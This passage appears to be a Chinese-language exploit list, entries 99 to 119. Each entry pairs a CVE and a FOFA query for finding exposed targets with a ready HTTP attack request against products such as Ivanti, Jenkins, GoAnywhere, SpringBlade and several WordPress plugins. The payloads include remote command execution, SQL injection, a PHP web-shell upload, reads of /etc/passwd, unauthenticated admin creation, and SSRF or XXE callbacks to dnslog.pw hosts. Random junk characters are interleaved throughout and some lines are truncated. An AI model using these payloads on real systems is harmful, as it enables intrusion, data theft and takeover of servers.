Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 V2 \2 w# Z0 @Content-Type: application/x-www-form-urlencoded; charset=UTF-8
: J+ u* N6 I5 w) UX-Requested-With: XMLHttpRequest
, }( P5 n% A0 c! ]7 X% T% t, Z' ]6 r# E
id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
* _9 _; M5 e1 n1 E5 t& ^. H/ i J! m! W
* T0 f8 F3 Z# C; h99. Ncast盈可视高清智能录播系统busiFacade RCE
4 r0 g2 s/ Z' {CVE-2024-0305
, G$ R9 c/ d/ k; R) \0 {FOFA:app="Ncast-产品" && title=="高清智能录播系统"& W. S$ ]% s4 g3 m
POST /classes/common/busiFacade.php HTTP/1.1
$ C* i( _2 g$ c" I! O2 P# f" zHost: 192.168.40.130:8080
4 D8 B' s- k% E( {3 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0; p ~$ a& n* T0 W. j9 J
Connection: close
/ s1 _# s% ?6 [( t% pContent-Length: 154/ b4 c' _% |5 s- R+ c5 Q+ v
Accept: */*
: Q# h6 E+ i4 ^6 _Accept-Encoding: gzip, deflate
( i% L% q- Q) {2 u+ R8 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 v0 @0 d; b1 [Content-Type: application/x-www-form-urlencoded; charset=UTF-8
) K: ~- [* [ Y1 Q! j/ M% ]5 {X-Requested-With: XMLHttpRequest
' `! W. q ^6 g i. f& l. Y/ ]' Q( R. {2 D% P- i2 m2 I
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D2 p& B( I# M/ v2 L) h
O$ K: [0 C2 Z& h
9 `" J) n# n/ r3 H
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传+ E; ?. X$ `1 P N3 ?' y) [6 M
CVE-2024-0352
" j/ f6 I) H$ g4 `5 V( xFOFA:icon_hash="874152924"
. D: L% k0 o$ n$ Y8 |* w# y, C- S) {POST /api/file/formimage HTTP/1.18 X }9 K8 m* _
Host: 192.168.40.130' B1 Z' x9 c- T+ R
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
& ~; ^+ i% R; L$ @5 }3 j9 oConnection: close
- p1 N4 ]) ^# d, d, fContent-Length: 201, o* C7 k# S6 s' |6 q( [
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
: Z6 F: t. P0 a" z) `7 r' \+ V$ ZAccept-Encoding: gzip
+ L- _ B: F- |
4 s; ], d, s. s" C------WebKitFormBoundarygcflwtei+ t; l7 Y9 x6 }: S0 M
Content-Disposition: form-data; name="file";filename="IE4MGP.php"3 A5 t- W" y, F7 A: c( H9 l6 u
Content-Type: application/x-php
7 ^+ M: x+ h5 o- @3 p2 h
4 p% H% o2 P+ Q) J5 Y9 l7 a h2ayyhRXiAsKXL8olvF5s4qqyI2O
6 z% [- C5 s* |- N------WebKitFormBoundarygcflwtei--" H. i s4 a' T. X5 `; U$ H3 t6 \- [
; x0 m& D% v: {6 R/ S |& f, x/ q( q* w3 C' T( j8 P; x
101. ivanti policy secure-22.6命令注入/ Q2 Y, u, s$ D* c5 y0 p; O
CVE-2024-21887: e( ]7 x9 X* i# F% L4 ?# }
FOFA:body="welcome.cgi?p=logo"+ B6 N6 n r% E) J
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.11 l% Y q7 D+ Z$ V2 ` o
Host: x.x.x.xx.x.x.x4 K' L h( v( Z e% U6 x% `9 b$ [
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ o" X* i* `- X' _/ x4 O$ ]8 vConnection: close5 m6 P! Y. ~" P8 v5 l
Accept-Encoding: gzip
; e' J" f* C1 w2 L2 w' S4 k9 N5 _ H6 j$ O
' Z9 p- s: N5 `. }. r5 x) e102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
?5 Z9 o9 G/ F5 _CVE-2024-21893: b' {- c; o4 N- ~7 y N
FOFA:body="welcome.cgi?p=logo"
9 S& s4 n4 [1 ^9 z XPOST /dana-ws/saml20.ws HTTP/1.1% |( U6 K5 }5 U! ]. J
Host: x.x.x.x
( D( a8 ^* R8 d4 R0 X# C$ o) a- G! y9 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ S2 X; w- f; C/ [/ G. G, D% uConnection: close* E+ _6 @, T& x
Content-Length: 7929 n& ?2 d" d) O; _
Accept-Encoding: gzip% b3 M, M* |8 y
/ j: ~, z: M9 H4 j<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> </ds:SignedInfo> <<ds:SignatureValue>qwerty</ds:SignatureValue> <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/> </ds:KeyInfo> <ds:Object></ds:Object> </ds:Signature> </soap:Body></soap:Envelope>
! ?) h$ \9 W" m, {" Y0 Z! m: T+ R4 v4 X7 E9 W/ j0 G" O; e
103. Ivanti Pulse Connect Secure VPN XXE
?3 z8 z: E+ B" y9 SCVE-2024-22024
& Z. e- h2 D; {6 RFOFA:body="welcome.cgi?p=logo"5 w3 z6 G2 A; R# P1 O7 {
POST /dana-na/auth/saml-sso.cgi HTTP/1.13 G) Y/ g4 @- s6 _% ^1 |$ j+ L
Host: 192.168.40.130:111
( i" A9 [: q/ t/ K8 o* \/ h; S9 ]5 FUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.362 q3 I0 h% u% U2 ]6 V. @
Connection: close. \8 f' {2 B* m) U; Q4 ]
Content-Length: 204* J- ^2 g* d# e; o: J9 `/ h
Content-Type: application/x-www-form-urlencoded
% q6 o* _% A7 _6 i6 r/ BAccept-Encoding: gzip0 A; s4 n0 T. X" ^: a
( {7 g, f+ }# O9 {SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
' A& }, o5 F9 A. _3 V; ]4 e
( V/ Q1 ^3 v6 e- L
, R+ e. j4 Z* C8 e4 r( m$ b其中SAMLRequest的值是xml文件内容的base64值,xml文件如下
3 ^5 z! f4 n- j+ h% S0 v<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
# w- v+ p. {; V9 ^
" h U" `* V& l2 K1 x# n% ?( L0 \8 ?, _4 X: L
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
' @) P6 B6 @6 g: J# v$ OCVE-2024-0569
# f; F! D% Z! e0 uFOFA:title="TOTOLINK"
& i3 O! ]) z( o) F$ fPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Q( x- Y9 a: h! q1 n% b* j0 p8 ^Host:192.168.0.1 V: M' c) L4 T3 P( g
Content-Length:41
: B ]6 e4 [' E: IAccept:application/json,text/javascript,*/*;q=0.01
$ q; C6 ], n: {% p; `, K1 WX-Requested-with: XMLHttpRequest
Q2 h2 y6 k) a1 R# cUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
7 ?! {$ H* c* k# Z2 ]' b) W/ rContent-Type: application/x-www-form-urlencoded:charset=UTF-8% N& z3 c# A) n6 _, @
Origin: http://192.168.0.1/ i5 H! q6 B9 d+ p, f1 Z! z
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
& C$ ^- x# E+ Z1 o, GAccept-Encoding:gzip,deflate
) T# J; ]; m8 {2 A9 PAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
5 \0 B3 ]! u- q/ oConnection:close7 [1 N1 q/ o. ^) R& T
0 z, R0 ~& S, e+ {0 E/ U
{$ C* Y# Q2 R* X4 o5 a1 ]
"topicurl":"getSysStatusCfg",& a b% ^6 c; ]) K1 `: f! H
"token":""( h$ V9 e6 Q* B
}. [: _9 v4 S9 e1 M# j4 g" v ~
4 F% m* s; l# w$ j1 D105. SpringBlade v3.2.0 export-user SQL 注入' T. [8 H: n! G" s- P" i' F7 c
FOFA:body="https://bladex.vip"
3 p+ d3 o( M# z! _http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
9 S1 m5 M3 w( Y% y9 [* S& T4 V2 @8 q
106. SpringBlade dict-biz/list SQL 注入
; V+ d8 r c. F: XFOFA:body="Saber 将不能正常工作", s4 F6 K5 k0 R( ^- z3 s- m
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
" q9 R. j/ \$ _/ b* FHost: your-ip) E7 Z0 {1 r2 d1 N
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36, l, G3 S/ x4 C: g
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
/ k; {! R! c9 }. d) vAccept-Encoding: gzip, deflate k$ h' J8 u* K$ S
Accept-Language: zh-CN,zh;q=0.9
; f! E! w: Q, c# K$ rConnection: close
2 r) D3 X+ X# q
2 t- ?/ I7 g# {* J% k- ?/ D, W6 O$ ~# M; O* v) Q/ ^7 u/ B3 B4 w7 j
107. SpringBlade tenant/list SQL 注入
' F o' o# y2 ^& X4 ?FOFA:body="https://bladex.vip"
( V: \$ `5 I0 Q! Y; S- R3 H1 wGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
. V( [8 K+ m. c' i) JHost: your-ip
+ V$ r, T7 ~$ l1 @! f8 d( fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.368 h+ W! ?, @/ k3 N7 R% H: w
Blade-Auth:替换为自己的9 d6 Q2 u+ `8 j
Connection: close
1 K* Z& ^# [7 S$ w/ o) P$ C2 t# c) b4 F
0 t0 t' D; Q9 ~# L" f( J }3 K2 G108. D-Tale 3.9.0 SSRF
& u2 T4 ?, E9 |% c5 S( wCVE-2024-21642% O; X0 H; v: f! K
FOFA:"dtale/static/images/favicon.png"
; B P% |9 m0 [" v- ~GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
- M) e4 p- D" A0 gHost: your-ip, S( J# }' R$ s: [
Accept: application/json, text/plain, */*
; l- X! s5 c/ n- D7 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 _9 r3 i' u* ], g, d* x# iAccept-Encoding: gzip, deflate
6 K; P, f. U( i/ ]7 rAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 f. V3 B" n; G: ]. W" ZConnection: close a( ?1 M" a* d, K W
/ q" q, {6 ?4 j7 `4 t8 ~3 I
, `6 T! n5 |/ G t4 I) H* q1 x% l; j, [109. Jenkins CLI 任意文件读取0 G! c( g! s2 N$ M1 ~+ m
CVE-2024-23897/ u' P, b, S* p5 K* K1 A) c
FOFA:header="X-Jenkins"
5 ]' r- D7 |6 H# o+ j' d- n! ]POST /cli?remoting=false HTTP/1.1
7 e; }4 T7 d6 j2 \' i7 Z5 KHost:
8 }2 Q7 S" R1 l4 HContent-type: application/octet-stream$ ?( d; L( R* `; i/ c
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92- C7 [$ }+ o& u" t3 |6 w4 u
Side: upload
& j4 a- T/ n! _* z- z! [0 aConnection: keep-alive
6 j9 y3 j, v4 \' k2 U7 [Content-Length: 163( o1 d8 P' {( L9 B8 {
, `& ~# ^" _. }, L$ @' l
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'8 Z& d! x0 A5 T. [& P, W/ b
) M3 u& C5 o S& M, e
2 f" {& R- w+ T Y% g! o% v! `
POST /cli?remoting=false HTTP/1.1
( E& h8 b7 z( \3 eHost:
1 y. c4 }) @6 Q8 c" qSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
) q+ Y9 ?0 u/ z: S/ y7 n% ]download$ _% F9 x! D; G: B; Y# H
Content-Type: application/x-www-form-urlencoded o3 T( m% N6 E( }# Q
Content-Length: 0
% \' V* [' g/ m% ]# Z% W) G. v' ^/ L! T7 g5 Q+ N
; @/ M b7 P' G3 ]: v/ V, iERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 w9 l5 X2 l( u2 n( cjava -jar jenkins-cli.jar help; k* L% U2 p0 c) x q/ `6 P' F7 k
[COMMAND]# F! J! \6 y! E+ b) ~
Lists all the available commands or a detailed description of single command.
a/ Q* n: r$ ]2 o3 X* ^& z: L$ m COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)3 T4 g, C$ k3 x& X3 E+ f: ^
% X, z+ z2 [* u9 b- B" A; _. b4 W; i3 S8 R' K5 k
110. Goanywhere MFT 未授权创建管理员' S9 ~. I+ e0 f9 i& k; z; g
CVE-2024-02049 @' j9 [" h! G
FOFA:body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"" ]" H4 m0 I/ o( V; v) A! H: B
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1, ?+ G+ M$ N0 T# M. K! G* x" a$ [
Host: 192.168.40.130:8000) e& L3 t7 {- C5 P' V0 }" {% o
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36! r4 l7 [+ ] k
Connection: close2 K: |: b4 K/ x( V5 u1 J# `
Accept: */*) ]6 E( o& \) R# C$ L }) h
Accept-Language: en# x4 f! q' K! D) |
Accept-Encoding: gzip0 N4 K& o" K, T; `+ F7 u( a; L
/ y; a; X& B9 ~3 D ?0 X
% s1 a: i* @+ U/ _( U: d( `# M111. WordPress Plugin HTML5 Video Player SQL注入+ a: [* |# b3 H9 G' K- S
CVE-2024-10614 v- u/ H" y' l$ j
FOFA:"wordpress" && body="html5-video-player"
# c4 k# ]3 d, Y6 C/ ]GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1' m. g" a/ n; O9 R1 [4 x9 M
Host: 192.168.40.130:112
8 k7 S* f) K3 a3 d7 cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ X" i( M5 \* H8 ]/ aConnection: close
$ G8 j# q8 b$ d3 W- H: [- rAccept: */*4 t# s' U$ {8 H# Q
Accept-Language: en! q( f! c% k0 |( l- O; I s
Accept-Encoding: gzip! T) V0 F7 [! s
, q, a* t) ^0 @# m- A1 Y; ` q0 X s9 S/ F9 o' f) }8 q
112. WordPress Plugin NotificationX SQL 注入
' T- V, v9 b8 D" ACVE-2024-16988 ~. N0 r2 ?' x( T4 i+ ?8 j9 z
FOFA:body="/wp-content/plugins/notificationx"
. R T5 E" w, J3 XPOST /wp-json/notificationx/v1/analytics HTTP/1.1
, |+ ]: M( |" |$ @# z6 ^+ SHost: {{Hostname}}9 C0 V `$ n- i) f: C( T. v$ ?. a+ Z
Content-Type: application/json
( I& b) q2 e. A. q, r Y9 w# _7 v% U6 p7 m
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
) m0 N5 v5 z" n
/ }8 X: E( {- u( D# I+ y; |* }0 f5 z8 E C% v2 q
113. WordPress Automatic 插件任意文件下载和SSRF: H2 E4 Q R- N- l! n
CVE-2024-27954
2 V4 I- I0 B% ]$ B, z J; LFOFA:"/wp-content/plugins/wp-automatic"
2 m: r% U6 [' q" J& j5 l" |* u/ kGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1; k+ o5 o& }2 T0 [3 {
Host: x.x.x.x
8 f; L# T6 a; B6 J+ P# oUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
6 z: e5 q9 q5 e! O. P% ZConnection: close$ G5 Z' [' T' ]6 O0 ^) y
Accept: */*0 |& B s; U+ \4 T* |0 \) |2 [% x
Accept-Language: en% R S" K/ h3 X: h
Accept-Encoding: gzip
7 M! F( K: b: h Q" D. P" E: B& Y5 G7 u/ v+ V% r, U% ]
# C1 r7 b8 ?- `7 [
114. WordPress MasterStudy LMS插件 SQL注入 ?3 p, a3 ?" z: |9 d7 Z1 }% _
FOFA:body="wp-content/plugins/masterstudy-lms-learning-management-system/"% i$ ^5 L$ b O# D0 z. d
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.16 J$ b& V+ H) Z' l6 [8 T& a
Host: your-ip. @) |( _2 R# B+ V
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
" ?6 w& d, d1 i6 b- `Accept-Charset: utf-8
( F7 W$ M6 ?' y1 c# z4 lAccept-Encoding: gzip, deflate
( O& @3 b ?) m- TConnection: close
# _, ?! _7 }; w3 N4 J9 A1 g; u
7 t* q+ p9 f2 ?+ P j) x: H! }* a: p+ K" L; \0 r% T- S
115. WordPress Bricks Builder <= 1.9.6 RCE
! E$ r* M ?9 F0 m9 l7 ^) @CVE-2024-25600
& j! y H c- [: l! w9 @FOFA: body="/wp-content/themes/bricks/"
% y# s1 }4 w, K2 }# s' X. f5 m第一步,获取网站的nonce值
% O3 p: C, t t: q( h7 K7 pGET / HTTP/1.1* V$ `! d8 E* N% @
Host: x.x.x.x9 @% J7 U4 |) B! t! x9 x% ?
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
3 n( Z5 N, y* Z! |Connection: close
4 j$ A% G" \ }2 t+ ? w4 O0 Z% AAccept-Encoding: gzip& Y( o4 c) R$ k6 s- h
1 }9 x: i2 p" H) X
- J e; ]* {$ o7 z* c0 H
第二步替换nonce值,执行命令
8 @ Y5 w, [: w* L' J+ @POST /wp-json/bricks/v1/render_element HTTP/1.13 P& p4 g2 P" J0 L
Host: x.x.x.x
* Q& f& C; P$ P _0 y) N# v3 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36$ w6 F t4 h4 O) g# F2 n
Connection: close" z1 t/ D7 _, ]3 U; x6 O- U
Content-Length: 356
+ S+ D7 r$ G" b. RContent-Type: application/json: e. u/ h% }5 G4 C" h- K
Accept-Encoding: gzip
R$ Y" `2 t6 m2 U9 z" f% T6 t* m
{
1 I X+ M" _1 V x2 C, n- h8 A: i- V"postId": "1",. P" v+ @3 P0 p- G0 E" G
"nonce": "第一步获得的值",
) b, B& n5 ]; X$ d( E! z- t3 O "element": {
$ T: t7 I6 h; `4 e8 M- h "name": "container",
! U8 K" O- J* Z "settings": {( ~' p4 F3 i( I5 q+ g
"hasLoop": "true",
# I* } a8 W6 s6 }- _- Y/ v( t "query": {
! u" Q& s! D# c( q. O0 n "useQueryEditor": true,7 D/ Q4 D; u5 V3 n8 ]/ b* Q( z
"queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
! [1 M) ?, F. |* Q" B6 C "objectType": "post"% G% {- C Y" i, a F2 L% \
}
/ x1 Y7 m4 |+ h/ c2 s; f9 O! ` }: A& I2 \" r% Z6 t/ u; y
}2 a1 U; N! x6 k$ V: R% K
}
" Y5 E Q$ u6 v% H
# i m# W8 p1 Q% U. D0 ~# `9 N' J# L! H& M+ x+ ? z
116. wordpress js-support-ticket文件上传
9 _' [0 w/ c" `" `/ j0 ]) G) gFOFA:body="wp-content/plugins/js-support-ticket"
6 X: w1 Y$ U/ L, }POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1# {' \6 L/ C0 Y+ j- b0 {
Host:
6 _5 e, Q( `4 F+ h- g [( MContent-Type: multipart/form-data; boundary=--------767099171
$ i( v, t, s1 R& b! UUser-Agent: Mozilla/5.0 I1 n- R0 W% N* M% t
" K' F' Q; u2 Z( |
----------767099171
; p6 x" o( \$ _3 wContent-Disposition: form-data; name="action"
Y! j3 B3 e( B4 Sconfiguration_saveconfiguration1 P; W; D& V/ V
----------767099171
9 l& q$ a. P% X8 L* y) M- _; EContent-Disposition: form-data; name="form_request"
) f) ~/ m7 g) X$ ~- @4 ~/ C- hjssupportticket' S) h, |7 K8 W
----------767099171! [8 t4 T! {0 T) V
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
v& r& s! c! MContent-Type: image/png
3 z1 r4 Q6 w. L0 r: R# ~3 k8 j----------767099171--4 R- d# r8 \$ B8 _ `' ?8 H
; m l1 w2 P! @6 I6 i
% o+ Q. U2 v/ V8 H, Q117. WordPress LayerSlider插件SQL注入
+ `% O7 Q7 P2 p' D* D3 xversion:7.9.11 – 7.10.0
3 E* e" W" l4 |4 P* L/ RFOFA:body="/wp-content/plugins/LayerSlider/"
$ j3 }7 Z$ X a0 u1 tGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1* C+ l5 v5 |8 E! ]- c( q, d$ n* j
Host: your-ip
2 v: N0 ~! L1 p3 B. ^. l4 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# W0 D7 _% f) `3 i& hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& j+ K. Z9 y$ T: x3 l: V8 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 n8 N5 a, j$ w1 K3 Y! B7 SAccept-Encoding: gzip, deflate, br/ M! ?4 ?, o+ X- R- v) y! h
Connection: close& {' e2 J* L3 ~. m7 N
Upgrade-Insecure-Requests: 1
' |; Z% `' t( |; h8 u* V% y, X5 q" V
1 ~& E. k w- H1 ~7 V
/ C, r" a+ [7 Z+ E/ w' ]118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
& c2 n4 b: `4 N7 J, M1 B# hCVE-2024-0939
8 U# m. Z) D8 b/ u. vFOFA:title="Smart管理平台"6 a8 _, a( V% y# u9 n4 [
POST /Tool/uploadfile.php? HTTP/1.1
% E8 P" R+ |( d' P! j# ]Host: 192.168.40.130:8443* h/ ~6 `& q7 c7 Q" b: b
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8" L' E" x. M. x! T! f* v+ t
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0! W3 z4 j6 q5 s ^; y
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.88 }2 ~- q& v. Z3 Y( [2 x* M) v
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* {3 e/ B. d; g# f% F# q5 NAccept-Encoding: gzip, deflate
$ U0 c& A: I; {- u' YContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887' |* d+ G1 {; t( W( u2 e0 T
Content-Length: 405+ ^ Z5 E# K$ x* D
Origin: https://192.168.40.130:84439 Q$ x; j! G: R! C. f( ?2 [$ t' m9 m
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
2 l* M4 p: V! v9 h0 UUpgrade-Insecure-Requests: 1
0 e; P7 S& e% L2 T' y# QSec-Fetch-Dest: document! S; C: L/ f+ g: A! y$ B
Sec-Fetch-Mode: navigate8 c. y U2 m' e+ @) A% v1 B& V0 j
Sec-Fetch-Site: same-origin) Q/ ]3 _' Z% ]: o/ F
Sec-Fetch-User: ?1
$ H7 P# T/ ? Y; ~. B5 ?3 Z8 gTe: trailers+ l/ }0 c0 @6 R5 m% C% Y
Connection: close
4 C; x) S# E) E! [4 u0 ? g5 f, S
-----------------------------13979701222747646634037182887
+ z( B* k5 |0 c3 b XContent-Disposition: form-data; name="file_upload"; filename="contents.php"
: y0 ^3 x' S8 v/ Y; e# ]4 hContent-Type: application/octet-stream' h1 g) F4 z& R% m2 x- B. R
# _% x5 I6 w) V7 z% ]0 m
<?php' ^5 H- Y5 Q" R5 Y$ U$ s" _
system($_POST["passwd"]);% e; R+ n) u* D3 F2 H i9 o
?>5 t( [1 g# Q9 B( ]
-----------------------------13979701222747646634037182887
" j7 o) k1 f- \2 JContent-Disposition: form-data; name="txt_path"
1 |. R0 X9 e$ Z/ k: ]
3 {7 a" U+ W! ?5 b# o/home/src.php( a- j0 o0 W/ k: g2 o
-----------------------------13979701222747646634037182887--
# {' @$ }0 g* M3 K5 Y. r2 Q2 J- h. _! k3 i
6 W- h1 C* f* C. B; O' H( @5 x访问/home/src.php/ u& b$ `8 o5 V% Q2 l. Y2 O
% O+ D) @- M2 z9 D119. 北京百绰智能S20后台sysmanageajax.php sql注入' x: s) N8 I0 P+ ]5 q$ C& t
CVE-2024-12540 O& w* {+ c7 m% C _/ ? M- b+ S
FOFA:title="Smart管理平台"
) T' T( G" m5 S先登录进入系统,默认账号密码为admin/admin' F2 x: ?4 A6 |* [; n8 E# g6 I
POST /sysmanage/sysmanageajax.php HTTP/1.112 Z' z! } Z2 R# f7 W
Host: x.x.x.x3 a# d+ k5 @5 ^) s% f# g, W
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee3 \! z& }3 T8 Z: B) B4 `$ X9 g8 J' l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
% g- H# N% ~) p+ l. M8 G0 RAccept: */*
+ Q. }3 V6 u$ A; ` K+ r/ K @8 {- S- q6 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2) L+ h% }9 t' i% ?
Accept-Encoding: gzip, deflate
5 X x, _" M' ? W9 P' S) XContent-Type: application/x-www-form-urlencoded;
' K4 d- _/ K( R xContent-Length: 109( D! v! L+ ] J E6 Q" q
Origin: https://58.18.133.60:8443 q3 ?2 h$ g% L P
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
, t& H; a5 Q9 ?. K% V# JSec-Fetch-Dest: empty
9 a3 u3 A% f$ _# r$ w5 hSec-Fetch-Mode: cors9 g& D; t3 f. A) T$ i
Sec-Fetch-Site: same-origin
3 N4 Y4 ~+ [1 MX-Forwarded-For: 1.1.1.1. l& Y* {8 {1 C: A4 z# w$ f& U; X) b
